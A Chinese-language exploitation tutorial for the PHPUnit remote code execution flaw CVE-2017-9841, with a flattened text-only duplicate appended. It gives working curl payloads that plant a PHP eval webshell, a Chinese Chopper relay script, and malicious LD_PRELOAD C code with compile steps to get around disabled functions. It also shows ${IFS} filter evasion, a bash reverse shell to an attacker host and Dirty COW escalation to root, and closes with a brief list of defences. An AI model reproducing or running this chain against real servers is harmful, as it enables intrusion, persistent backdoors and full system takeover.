CVE-2017-9841到root提权
字数 959 2025-08-29 08:32:18

CVE-2017-9841漏洞利用与提权技术详解

漏洞概述

CVE-2017-9841是PHPUnit组件中的一个远程代码执行(RCE)漏洞,影响版本包括:

  • 4.8.19至4.8.27
  • 5.0.10至5.6.2

漏洞位于文件vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php,该文件未做任何过滤直接执行传入的PHP代码。

漏洞验证

使用curl命令验证漏洞存在:

curl --data "<?php echo(pi());" http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

如果返回结果包含"3.14",则说明漏洞存在。

漏洞利用

1. 直接写入Webshell

如果当前目录可写,可以执行以下命令写入webshell:

curl --data '<?php file_put_contents("a.php", '\''<?php eval($_REQUEST[11]);?>'\'');' http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

这将在当前目录创建a.php的webshell。

2. 使用中转脚本

如果目录不可写,可以使用菜刀中转脚本:

<?php
$webshell="";
$data = file_get_contents("php://input");
$data=substr($data,1);
$data=str_replace("%2F",'/',$data);
$data=str_replace("%2B",'+',$data);
$data=str_replace("%3D",'=',$data);
$data= "<?php ". $data;
echo $data;
$opts = array (
    'http' => array (
        'method' => 'POST',
        'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
            "Content-Length: " . strlen($data) . "\r\n",
        'content' => $data
    )
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
echo $html;
?>

权限提升技术

1. LD_PRELOAD提权

在目标系统禁用大部分命令执行函数的情况下,可以使用LD_PRELOAD技术绕过限制。

编译恶意so文件

hack.c内容:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("echo aaaaa> /tmp/abc.txt");
}

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译命令:

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

使用PHP调用

<?php 
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","");
?>

处理空格问题

如果命令包含空格,使用${IFS}代替:

system("/usr/bin/python${IFS}/tmp/1.py");

2. 自动化执行Python脚本

修改hack.c调用Python脚本:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("/usr/bin/python${IFS}/tmp/1.py");
}

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

1.py示例内容:

import os
os.system("netstat -plant >/tmp/res.txt")

3. 反弹Shell

修改1.py实现反弹shell:

import os
os.system("bash -i >& /dev/tcp/attacker_ip/port 0>&1")

4. 使用脏牛(Dirty Cow)提权

  1. 在本地编译脏牛exp
  2. 上传到目标服务器
  3. 在反弹的shell中执行提权

注意事项

  1. 使用LD_PRELOAD技术时,每次刷新会创建新进程,可能导致大量僵尸进程
  2. 目标系统可能禁用某些函数,需要灵活选择利用方式
  3. 在LNMP环境下,许多命令执行函数被禁用,LD_PRELOAD是有效绕过方式
  4. 使用${IFS}代替空格可以绕过某些限制

完整利用流程

  1. 扫描目标是否存在漏洞
  2. 验证漏洞存在性
  3. 写入webshell或使用中转脚本
  4. 上传编译好的恶意so文件
  5. 通过PHP调用触发so文件
  6. 使用Python脚本实现更复杂的操作
  7. 反弹shell获取交互式会话
  8. 上传并执行提权exp获取root权限

防御建议

  1. 升级PHPUnit到最新版本
  2. 删除或限制访问eval-stdin.php文件
  3. 限制服务器目录写入权限
  4. 禁用不必要的PHP函数
  5. 定期检查服务器上的可疑文件
  6. 使用安全配置加固服务器
CVE-2017-9841漏洞利用与提权技术详解 漏洞概述 CVE-2017-9841是PHPUnit组件中的一个远程代码执行(RCE)漏洞,影响版本包括: 4.8.19至4.8.27 5.0.10至5.6.2 漏洞位于文件 vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php ,该文件未做任何过滤直接执行传入的PHP代码。 漏洞验证 使用curl命令验证漏洞存在: 如果返回结果包含"3.14",则说明漏洞存在。 漏洞利用 1. 直接写入Webshell 如果当前目录可写,可以执行以下命令写入webshell: 这将在当前目录创建 a.php 的webshell。 2. 使用中转脚本 如果目录不可写,可以使用菜刀中转脚本: 权限提升技术 1. LD_ PRELOAD提权 在目标系统禁用大部分命令执行函数的情况下,可以使用LD_ PRELOAD技术绕过限制。 编译恶意so文件 hack.c 内容: 编译命令: 使用PHP调用 处理空格问题 如果命令包含空格,使用 ${IFS} 代替: 2. 自动化执行Python脚本 修改 hack.c 调用Python脚本: 1.py 示例内容: 3. 反弹Shell 修改 1.py 实现反弹shell: 4. 使用脏牛(Dirty Cow)提权 在本地编译脏牛exp 上传到目标服务器 在反弹的shell中执行提权 注意事项 使用LD_ PRELOAD技术时,每次刷新会创建新进程,可能导致大量僵尸进程 目标系统可能禁用某些函数,需要灵活选择利用方式 在LNMP环境下,许多命令执行函数被禁用,LD_ PRELOAD是有效绕过方式 使用 ${IFS} 代替空格可以绕过某些限制 完整利用流程 扫描目标是否存在漏洞 验证漏洞存在性 写入webshell或使用中转脚本 上传编译好的恶意so文件 通过PHP调用触发so文件 使用Python脚本实现更复杂的操作 反弹shell获取交互式会话 上传并执行提权exp获取root权限 防御建议 升级PHPUnit到最新版本 删除或限制访问 eval-stdin.php 文件 限制服务器目录写入权限 禁用不必要的PHP函数 定期检查服务器上的可疑文件 使用安全配置加固服务器